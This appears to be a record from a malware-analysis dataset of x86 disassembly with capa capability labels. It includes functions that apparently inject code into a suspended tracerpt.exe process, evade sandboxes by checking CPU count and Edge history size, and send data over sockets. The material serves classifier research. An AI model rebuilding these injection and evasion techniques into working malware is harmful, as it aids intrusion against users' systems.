joyce8/EMBER2024-capa huggingface dataset:
Function at 0x423a55
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.004239d1
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x423bc4
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x423bc4
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x423b79
jg 0x423ab1
test eax, eax
je 0x423b6f
push 1
push 0x1000
call fcn.00415d36
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x423ad4
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x423b66
push 0x8000
push ebx
call fcn.004138f8
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x423afd
jg 0x423af8
cmp ecx, 0x1000
jb 0x423afd
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.00417035
add esp, 0x10
cmp eax, 0xffffffff
je 0x423b42
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x423af8
jl 0x423b29
test ecx, ecx
jne 0x423aea
push dword [ebp - 0xc]
push ebx
call fcn.004138f8
push esi
call fcn.00415d93
add esp, 0xc
xor ebx, ebx
jmp 0x423bd2
cmp byte [edi + 0x24], 0
je 0x423b59
cmp dword [edi + 0x20], 5
jne 0x423b59
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x423b64
mov ebx, dword [edi + 0x18]
jmp 0x423b66
xor ebx, ebx
push esi
call fcn.00415d93
pop ecx
jmp 0x423bd2
test ecx, ecx
jg 0x423b3b
jl 0x423b79
test eax, eax
jae 0x423b3b
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00419adf
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x423b99
cmp byte [edi + 0x1c], 0
je 0x423b3b
jmp 0x423bca
push ebx
call fcn.0041d3c2
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x423b3b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x423bd2
cmp byte [edi + 0x1c], 0
je 0x423bcf
mov ebx, dword [edi + 0x18]
jmp 0x423bd2
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.00419adf
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x424c50
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x424c7d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x424c7d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x418010
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x18
mov eax, dword [0x634038]
mov edx, dword [0x63403c]
mov dword [esp + 0x14], 0
push esi
lea ecx, [eax + eax]
push edi
or ecx, edx
lea edx, [esp + 0x10]
mov dword [esp + 0x18], ecx
push edx
fild qword [esp + 0x1c]
push 0x20019
push 0
mov esi, 0x190
push str.SoftwareMicrosoftWindowsCurrentVersionExplorer
fadd qword [0x634050]
push 0x80000001
mov edi, esi
fstp qword [0x634050]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4180de
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea eax, [esp + 0xc]
push ebp
lea ecx, [esp + 0x1c]
push eax
mov eax, dword [esp + 0x1c]
lea edx, [esp + 0x18]
push ecx
push edx
push 0
mov ebp, 4
push str.Browse_For_Folder_Width
push eax
mov dword [esp + 0x2c], ebp
mov dword [esp + 0x28], ebp
call ebx
test eax, eax
jne 0x4180a4
mov edi, dword [esp + 0x1c]
xor esi, esi
lea ecx, [esp + 0x10]
lea edx, [esp + 0x20]
push ecx
mov ecx, dword [esp + 0x1c]
lea eax, [esp + 0x18]
push edx
push eax
push 0
push str.Browse_For_Folder_Height
push ecx
mov dword [esp + 0x2c], ebp
mov dword [esp + 0x28], ebp
call ebx
pop ebp
pop ebx
test eax, eax
jne 0x4180d3
or esi, dword [esp + 0x18]
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, edi
mov eax, esi
pop edi
pop esi
add esp, 0x18
ret

Function at 0x62ad55
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x634428
cmp edx, dword [eax]
je 0x62ad77
add eax, 8
inc ecx
cmp eax, 0x6344b8
jl 0x62ad68
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x634428]
jne 0x62aea5
mov eax, dword [0x638db0]
cmp eax, 1
je 0x62ae7f
test eax, eax
jne 0x62ada8
cmp dword [0x634350], 1
je 0x62ae7f
cmp edx, 0xfc
je 0x62aea5
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x62addf
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.0062b740
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.0062bbd0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x62ae22
lea eax, [ebp - 0x1a4]
push eax
call fcn.0062bbd0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x630a4c
push edi
call fcn.0062daa0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.0062b740
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.0062b750
lea eax, [ebp - 0xa0]
push 0x630a2c
push eax
call fcn.0062b750
push dword [esi + 0x63442c]
lea eax, [ebp - 0xa0]
push eax
call fcn.0062b750
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0062da14
add esp, 0x2c
pop edi
jmp 0x62aea5
lea eax, [ebp + 8]
lea esi, [esi + 0x63442c]
push 0
push eax
push dword [esi]
call fcn.0062bbd0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x404ad0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42d250
mov eax, dword fs:[0]
push eax
sub esp, 0x34
push ebx
push esi
push edi
mov eax, dword [0x443854]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x28], ecx
mov dword [ebp - 4], 0
inc eax
dec ebx
dec eax
inc ebx
push 0x43de08
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x2c], 0x2e
push eax
call fcn.00415194
mov dword [ebp - 0x10], esp
inc eax
dec ebx
dec eax
inc ebx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x1c], 0
mov dword [ebp + 8], 0
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x24], eax
cmp eax, ecx
jl 0x404c2c
xor eax, eax
mov dword [ebp - 0x20], eax
cmp eax, dword [ebp - 0x18]
jge 0x404ba4
mov byte [ebp - 4], 2
inc eax
dec ebx
dec eax
inc ebx
push 0x43de08
lea eax, [ebp - 0x30]
mov dword [ebp - 0x30], 0x56
push eax
call fcn.00415194
inc eax
dec ebx
dec eax
inc ebx
mov eax, dword [ebp - 0x28]
push 0
push dword [ebp + 0x10]
push dword [ebp - 0x14]
push dword [eax + 0x64]
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0x1c], eax
test eax, eax
jle 0x404bc1
mov eax, 0x404b9d
ret
mov byte [ebp - 4], 4
inc eax
dec ebx
dec eax
inc ebx
push 0x43de08
lea eax, [ebp - 0x34]
mov dword [ebp - 0x34], 0x11
push eax
call fcn.00415194
mov eax, 0x404bc7
ret
test eax, eax
jle 0x404cea
xor eax, eax
mov dword [ebp + 0x10], eax
cmp eax, dword [ebp - 0x18]
jge 0x404c87
mov byte [ebp - 4], 6
inc eax
dec ebx
dec eax
inc ebx
push 0x43de08
lea eax, [ebp - 0x38]
mov dword [ebp - 0x38], 0x1f
push eax
call fcn.00415194
inc eax
dec ebx
dec eax
inc ebx
mov eax, dword [ebp - 0x28]
push 0
push dword [ebp - 0x24]
push dword [ebp - 0x14]
push dword [eax + 0x64]
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0x1c], eax
test eax, eax
jle 0x404ca4
mov eax, 0x404c80
ret
mov byte [ebp - 4], 8
inc eax
dec ebx
dec eax
inc ebx
push 0x43de08
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x3c], 0x61
push eax
call fcn.00415194
mov eax, 0x404caa
ret
mov byte [ebp - 4], 0xa
inc eax
dec ebx
dec eax
inc ebx
push 0x43de08
lea eax, [ebp - 0x40]
mov dword [ebp - 0x40], 0x5f
push eax
call fcn.00415194
inc eax
dec ebx
dec eax
inc ebx
mov eax, dword [ebp + 8]
cmp eax, dword [ebp + 0xc]
jne 0x404d36
mov eax, 0x404d19
ret
mov eax, 0x404d3c
ret
Function at 0x405790
Capabilities:
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42d360
mov eax, dword fs:[0]
push eax
sub esp, 0x40
mov eax, dword [0x443854]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 8]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x38]
push 0x43de08
push eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 4], 0
mov dword [ebp - 0x38], 0x1a
call fcn.00415194
mov dword [ebp - 0x10], esp
push 0x11
push 2
push 2
mov dword [ebp - 0x34], 0
call dword [sym.imp.WS2_32.dll_socket]
mov edi, dword [ebp - 0x30]
mov dword [edi + 0x40], eax
cmp eax, 0xffffffff
jne 0x405811
mov eax, 0x40580a
ret
push 0
push 0
lea ecx, [ebp - 0x4c]
mov dword [ebp - 0x2c], 0
push ecx
push 0
push 0
push 4
lea ecx, [ebp - 0x2c]
push ecx
push 0x9800000c
push eax
call dword [sym.imp.WS2_32.dll_WSAIoctl]
mov esi, dword [sym.imp.WS2_32.dll_setsockopt]
lea eax, [ebp - 0x2c]
push 4
push eax
push 0xfffffffffffffffb
push 0xffff
push dword [edi + 0x40]
call esi
push 4
lea eax, [ebp - 0x2c]
push eax
push 4
push 0xffff
push dword [edi + 0x40]
call esi
call dword [sym.imp.WS2_32.dll_WSACreateEvent]
mov ebx, dword [ebp - 0x28]
push 0
push 0
push 0
push 0
push ebx
mov dword [edi + 0x44], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0
push 0
call ebx
mov esi, eax
lea ecx, [esi + 1]
push ecx
call fcn.00412fca
add esp, 4
mov edi, eax
push 0
push 0
push esi
push edi
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
push dword [ebp - 0x28]
push 0
push 0
call ebx
push edi
mov byte [edi + esi], 0
call dword [sym.imp.WS2_32.dll_gethostbyname]
push 1
push edi
mov dword [ebp - 0x28], eax
call fcn.00412977
add esp, 8
mov byte [ebp - 4], 2
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x3c], 0x5e
push 0x43de08
push eax
call fcn.00415194
cmp dword [ebp - 0x28], 0
mov dword [ebp - 0x10], esp
jne 0x405918
push 0x43de08
lea eax, [ebp - 0x40]
mov byte [ebp - 4], 4
push eax
mov dword [ebp - 0x40], 0x2b
call fcn.00415194
mov eax, 0x40590c
ret
mov eax, 0x40591e
ret
Function at 0x405eb0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
mov esi, ecx
mov eax, dword [eax + 0x14]
test eax, eax
jne 0x405ed9
push 0x23
push dword [esi + 0x44]
push dword [esi + 0x40]
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
jne 0x405ef8
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [esi + 0x30], 1
mov dword [esi + 0x34], 2
mov dword [esi + 0x38], eax
xor eax, eax
mov dword [esi + 0x3c], 1
pop esi
pop ebp
ret 4
push 0
lea eax, [esi + 0x19c]
mov dword [esi + 0x60], 1
push eax
push esi
push esi
lea ecx, [esi + 0x1d8]
mov dword [esi + 0x64], 1
call fcn.004063c0
push 0
push 0
push 0
push dword [esi + 0x40]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x405f41
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x405f41
test eax, eax
jne 0x405f4b
mov eax, 1
pop esi
pop ebp
ret 4
push 0x80004005
call fcn.00401eb0
int3

Function at 0x406720
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42d428
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x443854]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
call fcn.00405e30
mov edi, eax
lea esi, [ebx + 0x7c]
mov dword [ebp - 0x10], esi
test edi, edi
je 0x4067d5
nop dword [eax + eax]
mov ecx, dword [edi + 0x14]
mov eax, dword [edi + 0x18]
push 0
sub eax, ecx
push eax
push ecx
push dword [ebx + 0x40]
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0x14], eax
test eax, eax
jle 0x40679e
lea esi, [ebx + 0x160]
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [ebp - 0x14]
sub dword [ebx + 0x194], eax
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov esi, dword [ebp - 0x10]
jmp 0x4067a3
cmp eax, 0xffffffff
je 0x40680d
push edi
lea ecx, [esi + 0x1c]
mov dword [ebp - 4], 3
call fcn.004023d0
test eax, eax
jne 0x4067c0
push edi
call fcn.00402150
add esp, 4
mov ecx, ebx
call fcn.00405e30
mov edi, eax
lea eax, [ebx + 0x7c]
mov dword [ebp - 0x10], eax
mov esi, eax
test edi, edi
jne 0x406760
mov dword [ebp - 4], 2
test edi, edi
je 0x4067f6
push edi
lea ecx, [esi + 0x1c]
call fcn.004023d0
test eax, eax
jne 0x4067f6
push edi
call fcn.00402150
add esp, 4
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x40683c
lea esi, [ebx + 0x160]
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push edi
lea ecx, [ebx + 0x178]
call fcn.004062e0
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x4067f6
mov dword [ebx + 0x30], 1
mov dword [ebx + 0x34], 3
mov dword [ebx + 0x38], eax
mov dword [ebx + 0x3c], 1
push edi
lea ecx, [esi + 0x1c]
mov dword [ebp - 4], 1
call fcn.004023d0
test eax, eax
jne 0x406871
push edi
call fcn.00402150
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x407900
Capabilities:
Allocate or change rwx memory
Check if file exists
Create process on windows
Create process suspended
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42d540
mov eax, dword fs:[0]
push eax
sub esp, 0x424
mov eax, dword [0x443854]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov esi, dword [ebp + 0x10]
lea eax, [ebp - 0x430]
mov edi, dword [ebp + 0xc]
push 0x44
push 0
push eax
mov dword [ebp - 0x3e8], esi
call fcn.00415b60
push 0x2cc
lea eax, [ebp - 0x3e0]
xorps xmm0, xmm0
push 0
push eax
movups xmmword [esi], xmm0
call fcn.00415b60
xor eax, eax
mov dword [ebp - 0x430], 0x44
push 0xff
push eax
mov word [ebp - 0x400], ax
lea eax, [ebp - 0x114]
push eax
mov dword [ebp - 0x404], 1
call fcn.00415b60
add esp, 0x24
lea eax, [ebp - 0x114]
push 0xff
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push str.WindowsSysWOW64_tracerpt.exe
lea eax, [ebp - 0x114]
mov byte [ebp - 0x111], 0
push eax
push str._s_s
push eax
call fcn.004072f0
add esp, 0x10
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4079fe
push str.WindowsSystem32_tracerpt.exe
lea eax, [ebp - 0x114]
mov byte [ebp - 0x111], 0
push eax
push str._s_s
push eax
call fcn.004072f0
add esp, 0x10
push esi
lea eax, [ebp - 0x430]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x407a2c
xor eax, eax
jmp 0x407ac6
push 0x40
push 0x3000
push edi
push 0
push dword [esi]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x3ec], eax
test eax, eax
je 0x407a25
push 0x43de08
lea eax, [ebp - 0x3e4]
mov dword [ebp - 4], 0
push eax
mov dword [ebp - 0x3e4], 0x747
call fcn.00415194
mov eax, 0x407a70
ret
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00412c0a
mov esp, ebp
pop ebp
ret

Function at 0x407af0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42d570
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push esi
push edi
mov eax, dword [0x443854]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x14], ecx
push 0x43de08
lea eax, [ebp - 0x18]
mov dword [ebp - 4], 0
push eax
mov dword [ebp - 0x18], 0x1b5
call fcn.00415194
mov dword [ebp - 0x10], esp
lea eax, [ebp - 0x1c]
push 0x43de08
push eax
mov byte [ebp - 4], 2
mov dword [ebp - 0x1c], 0xeb4
call fcn.00415194
mov esi, dword [ebp - 0x14]
push 0
push 0
push esi
push 0x407460
push 0
push 0
call fcn.0041a64d
add esp, 0x18
mov dword [esi + 0x18], eax
push 0xc3a
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 0x407b83
ret
Function at 0x40b550
Capabilities:
Parse credit card information

Disassembly:
push esi
mov esi, ecx
xor cl, cl
cmp dword [esi + 0x4c], 0xffffffff
je 0x40b759
push ebx
mov eax, dword [esi + 0x4c]
cmp eax, 0x7c
je 0x40b758
cmp eax, 0x29
jne 0x40b588
cmp dword [esi + 0x10], 0
jne 0x40b758
test dword [esi + 0x50], 0x10000000
je 0x40b75d
cmp eax, 0x2e
jne 0x40b5df
push 5
lea ecx, [esi + 0x24]
call fcn.0040e290
mov eax, dword [esi]
mov ecx, dword [esi + 8]
cmp eax, ecx
je 0x40b5d3
cmp byte [eax], 0x5c
jne 0x40b5d1
inc eax
cmp eax, ecx
je 0x40b5d1
mov ecx, dword [esi + 0x50]
test cl, 8
jne 0x40b5be
mov dl, byte [eax]
cmp dl, 0x28
je 0x40b5cf
cmp dl, 0x29
je 0x40b5cf
test cl, 0x10
jne 0x40b5d1
mov cl, byte [eax]
cmp cl, 0x7b
je 0x40b5cf
cmp cl, 0x7d
jne 0x40b5d1
mov dword [esi], eax
inc dword [esi]
mov ecx, esi
call fcn.0040e8e0
jmp 0x40b745
cmp eax, 0x5c
jne 0x40b684
mov eax, dword [esi]
mov ecx, dword [esi + 8]
cmp eax, ecx
je 0x40b624
cmp byte [eax], 0x5c
jne 0x40b622
inc eax
cmp eax, ecx
je 0x40b622
mov ecx, dword [esi + 0x50]
test cl, 8
jne 0x40b60f
mov dl, byte [eax]
cmp dl, 0x28
je 0x40b620
cmp dl, 0x29
je 0x40b620
test cl, 0x10
jne 0x40b622
mov cl, byte [eax]
cmp cl, 0x7b
je 0x40b620
cmp cl, 0x7d
jne 0x40b622
mov dword [esi], eax
inc dword [esi]
mov ecx, esi
call fcn.0040e8e0
mov eax, dword [esi + 0x50]
and eax, 0x80
je 0x40b651
cmp byte [esi + 0x48], 0x62
jne 0x40b651
push 4
lea ecx, [esi + 0x24]
call fcn.0040e290
mov ecx, esi
call fcn.0040e300
jmp 0x40b74c
test eax, eax
je 0x40b678
cmp byte [esi + 0x48], 0x42
jne 0x40b678
push 4
lea ecx, [esi + 0x24]
call fcn.0040e290
mov eax, dword [esi + 0x28]
mov ecx, esi
xor dword [eax + 8], 1
call fcn.0040e300
jmp 0x40b74c
mov ecx, esi
call fcn.0040b7f0
jmp 0x40b745
cmp eax, 0x5b
jne 0x40b6a7
mov ecx, esi
call fcn.0040e300
mov ecx, esi
call fcn.0040be10
push 4
push 0x5d
mov ecx, esi
call fcn.0040d800
jmp 0x40b745
cmp eax, 0x28
jne 0x40b6d1
mov ecx, esi
call fcn.0040e300
mov ecx, esi
call fcn.0040eb20
push 5
push 0x29
mov ecx, esi
mov bl, al
call fcn.0040d800
test bl, bl
je 0x40b74c
jmp 0x40b745
cmp eax, 0x5e
jne 0x40b6e9
push 2
lea ecx, [esi + 0x24]
call fcn.0040e290
mov ecx, esi
call fcn.0040e300
jmp 0x40b74c
cmp eax, 0x24
jne 0x40b701
push 3
lea ecx, [esi + 0x24]
call fcn.0040e290
mov ecx, esi
call fcn.0040e300
jmp 0x40b74c
cmp eax, 0x2a
je 0x40b772
cmp eax, 0x2b
je 0x40b772
cmp eax, 0x3f
je 0x40b772
cmp eax, 0x7b
je 0x40b772
cmp eax, 0x7d
jne 0x40b723
test dword [esi + 0x50], 0x10000000
je 0x40b764
cmp eax, 0x5d
jne 0x40b731
test dword [esi + 0x50], 0x10000000
je 0x40b76b
movzx eax, byte [esi + 0x48]
lea ecx, [esi + 0x24]
push eax
call fcn.0040aae0
mov ecx, esi
call fcn.0040e300
mov ecx, esi
call fcn.0040e350
cmp dword [esi + 0x4c], 0xffffffff
mov cl, 1
jne 0x40b560
pop ebx
mov al, cl
pop esi
ret
push 5
call fcn.004113be
push 6
call fcn.004113be
push 4
call fcn.004113be
push 0xa
call fcn.004113be
int3
Function at 0x40f600
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42dba0
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
push ebx
push esi
push edi
mov eax, dword [0x443854]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
push 0x43de08
lea eax, [ebp - 0x14]
mov dword [ebp - 4], 0
push eax
mov dword [ebp - 0x14], 0x2ae32
call fcn.00415194
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [ebp - 0x24], 6
jae 0x40f681
mov eax, 0x40f66d
ret
mov eax, 0x40f687
ret
Function at 0x40f6a0
Capabilities:
Check if file exists
Get file attributes
Get file size
Get session user name

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42dbe1
mov eax, dword fs:[0]
push eax
sub esp, 0x27c
mov eax, dword [0x443854]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0x43de08
lea eax, [ebp - 0x27c]
mov dword [ebp - 4], 0
push eax
mov dword [ebp - 0x27c], 0x43087
call fcn.00415194
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea eax, [ebp - 0x280]
mov dword [ebp - 0x280], 0x101
push eax
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
nop
nop
nop
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x260]
call fcn.004090b0
lea eax, [ebp - 0x260]
mov byte [ebp - 4], 2
push eax
lea eax, [ebp - 0x248]
push eax
call fcn.00410b30
add esp, 8
lea ecx, [ebp - 0x260]
mov byte [ebp - 4], 4
call fcn.00409b80
nop
nop
nop
lea eax, [ebp - 0x248]
push eax
lea eax, [ebp - 0x278]
push str.C:Users_
push eax
call fcn.00407c10
push str.AppDataLocalMicrosoftEdgeUser_DataDefaultHistory
push eax
lea eax, [ebp - 0x230]
mov byte [ebp - 4], 5
push eax
call fcn.00407bb0
add esp, 0x18
lea ecx, [ebp - 0x278]
call fcn.00409b40
cmp dword [ebp - 0x21c], 0x10
lea eax, [ebp - 0x230]
cmovae eax, dword [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40f7ec
nop
nop
nop
lea ecx, [ebp - 0x230]
call fcn.00409b40
lea ecx, [ebp - 0x248]
call fcn.00409b40
mov eax, 0x40f7e5
ret
cmp dword [ebp - 0x21c], 0x10
lea eax, [ebp - 0x230]
push 0
cmovae eax, dword [ebp - 0x230]
push 0x80
push 3
push 0
push 1
push connect
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40f83c
lea ecx, [ebp - 0x230]
call fcn.00409b40
lea ecx, [ebp - 0x248]
call fcn.00409b40
mov eax, 0x40f7e5
ret
lea eax, [ebp - 0x288]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
push esi
test eax, eax
jne 0x40f871
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x230]
call fcn.00409b40
lea ecx, [ebp - 0x248]
call fcn.00409b40
mov eax, 0x40f7e5
ret
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x284], 0
ja 0x40f8a8
cmp dword [ebp - 0x288], 0x5000
ja 0x40f8a8
lea ecx, [ebp - 0x230]
call fcn.00409b40
lea ecx, [ebp - 0x248]
call fcn.00409b40
mov eax, 0x40f7e5
ret
lea ecx, [ebp - 0x230]
call fcn.00409b40
lea ecx, [ebp - 0x248]
call fcn.00409b40
mov eax, 0x40f8c4
ret